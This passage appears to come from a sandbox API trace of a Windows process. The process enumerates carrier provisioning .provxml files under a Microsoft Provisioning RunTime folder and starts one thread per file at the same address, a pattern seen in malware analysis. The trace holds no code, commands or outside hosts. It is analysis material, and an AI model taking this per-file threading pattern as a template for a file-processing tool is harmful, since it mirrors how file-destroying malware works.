Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.547] wcscat (in: _Dest=0x3054bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.547] wcscat (in: _Dest=0x3054bd8, _Source="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0181.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0181.548] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902943e8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902943e8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902943e8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x0, dwReserved1=0x0, cFileName="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="52__CO~1.PRO")) returned 1 [0181.551] wcscmp (_String1="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.551] wcscmp (_String1="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.551] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15c) returned 0x2fa30d0 [0181.551] wcscpy (in: _Dest=0x2fa30d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.551] wcscat (in: _Dest=0x2fa30d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.551] wcscat (in: _Dest=0x2fa30d0, _Source="52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" [0181.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa30d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0181.552] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="530__C~1.PRO")) returned 1 [0181.552] wcscmp (_String1="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.552] wcscmp (_String1="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.552] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe29c0 [0181.552] wcscpy (in: _Dest=0x2fe29c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.552] wcscat (in: _Dest=0x2fe29c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.552] wcscat (in: _Dest=0x2fe29c0, _Source="530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" [0181.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe29c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0181.553] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="531__C~1.PRO")) returned 1 [0181.553] wcscmp (_String1="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.553] wcscmp (_String1="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x3056ee8 [0181.553] wcscpy (in: _Dest=0x3056ee8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.553] wcscat (in: _Dest=0x3056ee8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.553] wcscat (in: _Dest=0x3056ee8, _Source="531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" [0181.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0181.553] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="532__C~1.PRO")) returned 1 [0181.553] wcscmp (_String1="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.553] wcscmp (_String1="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe2b18 [0181.554] wcscpy (in: _Dest=0x2fe2b18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.554] wcscat (in: _Dest=0x2fe2b18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.554] wcscat (in: _Dest=0x2fe2b18, _Source="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" [0181.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0181.554] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x363, dwReserved0=0x0, dwReserved1=0x0, cFileName="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="533__C~1.PRO")) returned 1 [0181.554] wcscmp (_String1="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.554] wcscmp (_String1="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2fa2860 [0181.554] wcscpy (in: _Dest=0x2fa2860, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.554] wcscat (in: _Dest=0x2fa2860, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.555] wcscat (in: _Dest=0x2fa2860, _Source="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" [0181.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0181.555] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9131f086, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="534__C~1.PRO")) returned 1 [0181.555] wcscmp (_String1="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.555] wcscmp (_String1="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.555] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2fa22c0 [0181.555] wcscpy (in: _Dest=0x2fa22c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.555] wcscat (in: _Dest=0x2fa22c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.555] wcscat (in: _Dest=0x2fa22c0, _Source="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" [0181.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa22c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0181.556] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9131f086, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", cAlternateFileName="535__C~1.PRO")) returned 1 [0181.556] wcscmp (_String1="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.556] wcscmp (_String1="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fe1c50 [0181.556] wcscpy (in: _Dest=0x2fe1c50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.556] wcscat (in: _Dest=0x2fe1c50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.556] wcscat (in: _Dest=0x2fe1c50, _Source="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" [0181.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0181.557] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9131f086, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="536__C~1.PRO")) returned 1 [0181.557] wcscmp (_String1="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.557] wcscmp (_String1="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x3056360 [0181.557] wcscpy (in: _Dest=0x3056360, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.557] wcscat (in: _Dest=0x3056360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.557] wcscat (in: _Dest=0x3056360, _Source="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" [0181.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0181.558] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="537__C~1.PRO")) returned 1 [0181.558] wcscmp (_String1="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.558] wcscmp (_String1="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.558] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe25b8 [0181.558] wcscpy (in: _Dest=0x2fe25b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.558] wcscat (in: _Dest=0x2fe25b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.558] wcscat (in: _Dest=0x2fe25b8, _Source="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" [0181.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe25b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0181.559] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913452f1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913452f1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="538__C~1.PRO")) returned 1 [0181.559] wcscmp (_String1="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.559] wcscmp (_String1="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.559] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe21b0 [0181.559] wcscpy (in: _Dest=0x2fe21b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.559] wcscat (in: _Dest=0x2fe21b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.559] wcscat (in: _Dest=0x2fe21b0, _Source="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" [0181.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe21b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0181.560] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913452f1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913452f1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="539__C~1.PRO")) returned 1 [0181.560] wcscmp 